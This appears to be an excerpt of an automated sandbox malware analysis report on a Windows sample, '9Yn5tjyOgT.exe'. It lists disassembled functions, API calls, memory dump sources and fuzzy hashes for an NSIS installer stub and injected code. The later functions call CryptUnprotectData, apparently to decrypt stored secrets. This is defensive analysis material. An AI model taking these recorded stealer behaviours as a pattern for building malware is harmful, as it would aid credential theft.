lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,76232EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,76232EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,76232EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76232EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76232EE0,00403A1A,76233420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 00405D09 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\9Yn5tjyOgT.exe,C:\Users\user\Desktop\9Yn5tjyOgT.exe,80000000,00000003), ref: 00405D0F
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\9Yn5tjyOgT.exe,C:\Users\user\Desktop\9Yn5tjyOgT.exe,80000000,00000003), ref: 00405D1F

Strings

C:\Users\user\Desktop, xrefs: 00405D09

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: 65148869c9b5617484fe42b3676c909fd92059a2a8224d2a454660f99163d925
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: A3D0A7B7410920EAD3126B04DC04D9F73ACEF51300B46843BE840A7171D7785CD18BEC

Function 738E10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 738E116A
GlobalFree.KERNEL32(00000000), ref: 738E11C7
GlobalFree.KERNEL32(00000000), ref: 738E11D9
GlobalFree.KERNEL32(?), ref: 738E1203

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 14cb3dc70898e796981f109c79c513845c5d4a7896963f1928aac03d44118df3
Instruction ID: 08d0dbc429dbc5cfb55bbba080ef557fb970169241b9c3f92c7d7ca4d92ed060
Opcode Fuzzy Hash: 14cb3dc70898e796981f109c79c513845c5d4a7896963f1928aac03d44118df3
Instruction Fuzzy Hash: 5D31E4B6580205AFE300EFFACC45B2977FAEB0671271442A9F94AD7240E734D900C7A0

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: 9Yn5tjyOgT.exePID: 6068, Parent PID: 6208COMMON

Execution Graph

Execution Coverage:	12.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3%
Total number of Nodes:	406
Total number of Limit Nodes:	33

Executed Functions

Function 36B87628 Relevance: 2.0, APIs: 1, Instructions: 528
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17364f7822d29139b7e83fb345415658b723a7664d07e2b5b437448b4f7396b8
Instruction ID: cdef24d78015156bd9d45b605af51e27b77f6d25caf24ecf2c6e613a62534dc3
Opcode Fuzzy Hash: 17364f7822d29139b7e83fb345415658b723a7664d07e2b5b437448b4f7396b8
Instruction Fuzzy Hash: 6E222974E00268CFEB14DFA9C894B9DBBB2FF85304F1485A9D408AB355DB359986CF90

Function 399DD608 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: fe6e93025236ce2fc7cc76095676f06317e07f0d90237bace7854c4e2df96520
Instruction ID: cd592684714172ae862b1265bd266b390b78bd1dfb153d455b4b04382841773b
Opcode Fuzzy Hash: fe6e93025236ce2fc7cc76095676f06317e07f0d90237bace7854c4e2df96520
Instruction Fuzzy Hash: 24F14775A00309CFEB14DFA9C984B9DBBF5BF88304F15C169E409AF265DB74A945CB80

Function 36B8D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000A0,?,00000000,?,?,?,?), ref: 36B8DA45

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: eb1045bdab4b7618401a6f4aafb8c7b46ec338a0a6792e4077fde5f827554157
Instruction ID: 338f689c5e9136b86f914bd59f455f227ae941713ffe729a7f4908d64a9aa2dc
Opcode Fuzzy Hash: eb1045bdab4b7618401a6f4aafb8c7b46ec338a0a6792e4077fde5f827554157
Instruction Fuzzy Hash: 14112676800389EFDB10CF99C945BDEBBF4EF48360F14845AEA18A7210C379A950CFA5

Function 36B8D9D9 Relevance: 1.6, APIs: 1, Instructions: 54
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000A0,?,00000000,?,?,?,?), ref: 36B8DA45

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 2baa95e35716e25223b9f4b27d6d4895371c4cf192be2af5c2d39b22de1c6ca9
Instruction ID: e36cfc91ab5ba0e560f4208f1de5500f2ba47034fe4cf4f0bddf137be4ac851d
Opcode Fuzzy Hash: 2baa95e35716e25223b9f4b27d6d4895371c4cf192be2af5c2d39b22de1c6ca9
Instruction Fuzzy Hash: 89113776800249DFDB10CF99C941BEEBBF5EF48320F14841AE658A7210C339A554CFA5

Function 00158DA0 Relevance: 1.1, Instructions: 1138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f009184e6cd896c8082360f03282cfcbff967892ce63a8333b9496b2070a05e0
Instruction ID: e1f0669217869d289cf129def159d01ee2f5254499188180107c925167132e7b
Opcode Fuzzy Hash: f009184e6cd896c8082360f03282cfcbff967892ce63a8333b9496b2070a05e0
Instruction Fuzzy Hash: F0A27F70A04209DFCB15CF68C894AAEBBB2FF89301F158569E815DF261D734ED89CB61

Function 399DE7C8 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3434097082.00000000399D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 399D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_399d0000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9232de5ca419d82250ff9d0c8ee8f28fc3ce53eff171862f8b3d18f6a9c0aa
Instruction ID: 64c1fe89edecaa4526e383cde5ac63763688fc9b6edbe54a33be8b0aa00bcf01
Opcode Fuzzy Hash: 5e9232de5ca419d82250ff9d0c8ee8f28fc3ce53eff171862f8b3d18f6a9c0aa
Instruction Fuzzy Hash: 1782C474A41268DFDB25DF64C895B9DBBB2FB89300F1080E9D909A7361DB359E81CF50

Function 3958BDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3901fcf4c8c9f34746d861ac22fce939fd0bf58f867c1d5f390c8e5b39a92a1
Instruction ID: f4e035401a04240a467b478f0a9fe91410c45148d235101f9ecc776fa968a89b
Opcode Fuzzy Hash: c3901fcf4c8c9f34746d861ac22fce939fd0bf58f867c1d5f390c8e5b39a92a1
Instruction Fuzzy Hash: A972C474A01258DFDB65DF65C895B9DBBB2FB89300F1080E9D909A73A1CB35AE81CF50

Function 39580040 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c96051e1f1bba6daab783d1a95036c9ab656355573adfa72a39341116515f3
Instruction ID: 7299a19cb6634db1141113ec105e363c004a456d69cad68a45ed31ac70e477d8
Opcode Fuzzy Hash: 22c96051e1f1bba6daab783d1a95036c9ab656355573adfa72a39341116515f3
Instruction Fuzzy Hash: 04825A74E052689FDB64DF69CC94BDDBBB2BB89301F1081EA994DA7261DB305E81CF40

Function 39588650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473e5ff35e0a069295ce954214da8bc29b06ebee76bbc36e504c32629e7973b8
Instruction ID: 93fb46e54871c6f33bd95a9f05d528ff8bc5cb0e35c21331fb26280bfcb78572
Opcode Fuzzy Hash: 473e5ff35e0a069295ce954214da8bc29b06ebee76bbc36e504c32629e7973b8
Instruction Fuzzy Hash: A672BE74E052698FEB64DF69C880BD9BBB2BB49301F5481E9D518A7351DB34AEC1CF80

Function 00155968 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941cee699db5f9524b4a6967e4a9ff9064a5dcb34f714507a7807aeb3a7b348b
Instruction ID: 2aff0b7485f43adc2773d9f2eedbe1cca50a48cbb5176680d00e991bd1b64723
Opcode Fuzzy Hash: 941cee699db5f9524b4a6967e4a9ff9064a5dcb34f714507a7807aeb3a7b348b
Instruction Fuzzy Hash: 83127E71A00619CFDB14DFA9C854BAEBBF6BF88301F148529E819DB391DB349D85CB90

Function 00155F90 Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405528588.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_150000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cae2eabe0bb9e989e0615100ce56b1d4cec728679826a51c6ba1cbed42d44ca
Instruction ID: 36a9137c55bdc8a5a4b494d29366891823d405083bbe3be5cc0c3d7b548352da
Opcode Fuzzy Hash: 5cae2eabe0bb9e989e0615100ce56b1d4cec728679826a51c6ba1cbed42d44ca
Instruction Fuzzy Hash: A4124130A00219DFCB14CF69C994AADBBF2FF99316F958065E815DB261D730DD85CB90

Function 36B8C638 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ede1452b97155eb8004193c55d6f1ee782d93e12dbaec926275b80829d96b16
Instruction ID: e0f4444193826b7f1ced8f16f8bcfdda122f34e7c8f80c27d4c3bd278fa70e28
Opcode Fuzzy Hash: 4ede1452b97155eb8004193c55d6f1ee782d93e12dbaec926275b80829d96b16
Instruction Fuzzy Hash: F5E1D1B4E01258CFEB24CFA5C994B9DBBB2BF89300F2081A9D409B7391DB755A85CF50

Function 36B803AF Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3e5dcd408ff27f7808012976ca559cccf671cae679e36c1e298449b9bab030
Instruction ID: c835709a141cdda4297618318414da915f47b4c7aa073814dc04645f49648298
Opcode Fuzzy Hash: 5d3e5dcd408ff27f7808012976ca559cccf671cae679e36c1e298449b9bab030
Instruction Fuzzy Hash: 3CD1AF74E01258CFEB14DFA9C994B9DBBB2BF89300F1081A9D809AB355DB355E86CF50

Function 36B80C1A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a98cdef43f8eabab261cdde4dcfe8f35a98808aabc8098098314aee9e9f6922
Instruction ID: a43b1a2027f00f705954ecd06eecc153b5aa05431ce870e06345b1af95ee4273
Opcode Fuzzy Hash: 9a98cdef43f8eabab261cdde4dcfe8f35a98808aabc8098098314aee9e9f6922
Instruction Fuzzy Hash: 66A1F270E002588FEB14DFA9C884B9DBBB1FF89305F209269E508A72A1DB749985CF55

Function 36B80C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df113541160870235d87f063e67561e7401f343d6a4b1b2d520033feced6ab8e
Instruction ID: 49e88c529cb34f97c42409513a7ee660e7bf23aaf05559d0539bb6a5c886d2e3
Opcode Fuzzy Hash: df113541160870235d87f063e67561e7401f343d6a4b1b2d520033feced6ab8e
Instruction Fuzzy Hash: C6A10270D00358CFEB10DFA9C884B9DBBB2FF89305F209269E508A72A1DB749985CF55

Function 3958A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd7368359caea8c0b61036816a13b1797f682f65a6e9a6796d977112ee6a352d
Instruction ID: e5a6660499769067a10ffe73293c55fc7b5e46f7c198a02be29972a3b0abae0f
Opcode Fuzzy Hash: dd7368359caea8c0b61036816a13b1797f682f65a6e9a6796d977112ee6a352d
Instruction Fuzzy Hash: ECA190B5E056288FEB24CF6AC944B9DFBF2AF89300F14C1AAD40CA7255DB345A85CF51

Function 39589D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a9a38a4679a34ceb39937e5c1c31032724e04a4c0667677389e434a46ca738b
Instruction ID: 61f21e30d684183d52244692ff507661910f9ccad828b04fc952647320fbe262
Opcode Fuzzy Hash: 3a9a38a4679a34ceb39937e5c1c31032724e04a4c0667677389e434a46ca738b
Instruction Fuzzy Hash: 3DA191B5E056288FEB18CF6AC944B9DBBF2AF89300F14C1AAD40CA7251DB745A85CF51

Function 3958A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cafc44a776ac66df64239b9f465417a7426b6cf47dd9818d30e35493ddab1dfa
Instruction ID: 63c2a802cda18645ed5de1604296fbcc73e84a461b341bbcca8c52d3d205a09f
Opcode Fuzzy Hash: cafc44a776ac66df64239b9f465417a7426b6cf47dd9818d30e35493ddab1dfa
Instruction Fuzzy Hash: EEA180B5E052288FEB24CF6AC944B9DBBF2AF89301F14C1AAD408B7255DB345A85CF51

Function 395896C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
